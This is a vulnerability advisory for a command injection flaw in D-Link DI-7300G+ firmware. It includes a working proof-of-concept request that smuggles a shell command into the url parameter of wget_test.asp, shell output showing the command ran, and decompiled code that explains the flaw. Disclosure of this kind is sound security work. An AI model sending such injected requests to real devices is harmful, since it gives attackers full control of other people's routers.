

**Vendor of the products:** D-Link

**Affected Device:** D-Link DI-7300G+

**Version:** DI-7300G+ V19.12.25A1

**Firmware Download:** <http://www.dlink.com.cn/techsupport/ProductInfo.aspx?m=DI-7300G%2B>

**Vulnerability Description:** A command injection vulnerability was discovered in D-Link DI-7300G+ V19.12.25A1, triggered by the url parameter in wget\_test.asp. Attackers can exploit this vulnerability by constructing malicious packets to execute arbitrary commands, thereby gaining full control of the target device.

#### POC:

**Request**

Pretty Raw Hex

```
1 GET /wget_test.asp?count=1&url=$(ls>/001.txt) HTTP/1.1
2 Host: 192.168.0.1
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:139.0)
  Gecko/20100101 Firefox/139.0
4 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language:
  zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate, br
7 Connection: keep-alive
8 Cookie: Authorization=; wysLanguage=CN; userid=admin; gw_userid=
  admin,gw_passwd=FF24E6660F313F459F595084CEA7E305
9 Upgrade-Insecure-Requests: 1
10 Priority: u=0, i
11
12
```

#### Vulnerability Effect:

It can be observed that the router receives the request and successfully executes the command.

**Response**

Pretty Raw Hex ...

```
1 HTTP/1.1 200 OK
2 Server: HTTPD_gw 1.0
3 Content-Length: 16
4 Keep-Alive: timeout=15, max=100
5 Connection: Keep-Alive
6 Pragma: no-cache
7 Cache-Control: no-cache
8 Content-Type:
  text/html; charset=gb2312
9
10 {ret:0,msg:'ok'}
```

```
/ # ls
001.txt  etc_ro  home    media   run     usr
bin      firmadyne  init    mnt     sbin    var
dev      hd       lib     proc    sys
etc      hd_share lost+found root     tmp

/ # cat 001.txt
001.txt
bin
dev
etc
etc_ro
firmadyne
hd
hd_share
home
init
lib
lost+found
media
mnt
proc
root
run
sbin
sys
tmp
usr
var
```

## Vulnerability Cause:

The issue resides in the jhttpd component. In jhttpd, the program invokes the sub\_45421C function to handle requests related to wget\_test.asp. The program retrieves the values of the url and count parameters via httpd\_get\_parm. When the url parameter is non-empty and the count parameter value exceeds 0, it enters the vulnerability branch. Subsequently, the url parameter value is concatenated into the variable v8 using the sprintf function, and finally executed via the jhl\_system function. Due to the lack of security checks on input data, attackers can execute arbitrary commands and fully control the device by constructing malicious parameters.

```
1 // wget_test.asp
2 int __fastcall sub_45421C(int a1)
3 {
4     const char *parm; // $s1
5     int v3; // $v0
6     int i_1; // $s2
7     int i; // $s0
8     int n16; // $a2
9     char v8[512]; // [sp+18h] [-600h] BYREF
10    char _ret:0_msg:ok__[1024]; // [sp+218h] [-400h] BYREF
11
12    parm = (const char *)httpd_get_parm(a1, "url");
13    v3 = httpd_get_parm(a1, "count");
14    if (parm && v3)
15    {
16        i_1 = J_atoi(v3);
17        killall_tk("wget_test.sh");
18        killall_tk("wget");
19        if (i_1 > 0)
20        {
21            for (i = 0; i < i_1; ++i)
22            {
23                sprintf(v8, "wget_test.sh \"%s\" %d &", parm, i);
24                jhl_system(v8);
25            }
26        }
27        n16 = 16;
28        strcpy(_ret:0_msg:ok__, "{ret:0,msg:'ok'}");
29    }
30    else
31    {
32        n16 = 19;
33        strcpy(_ret:0_msg:ok__, "{ret:0,msg:'error'}");
34    }
35    return httpd CGI_ret(a1, _ret:0_msg:ok__, n16, 4);
36 }
```

0005421C sub\_45421C:1 (45421C)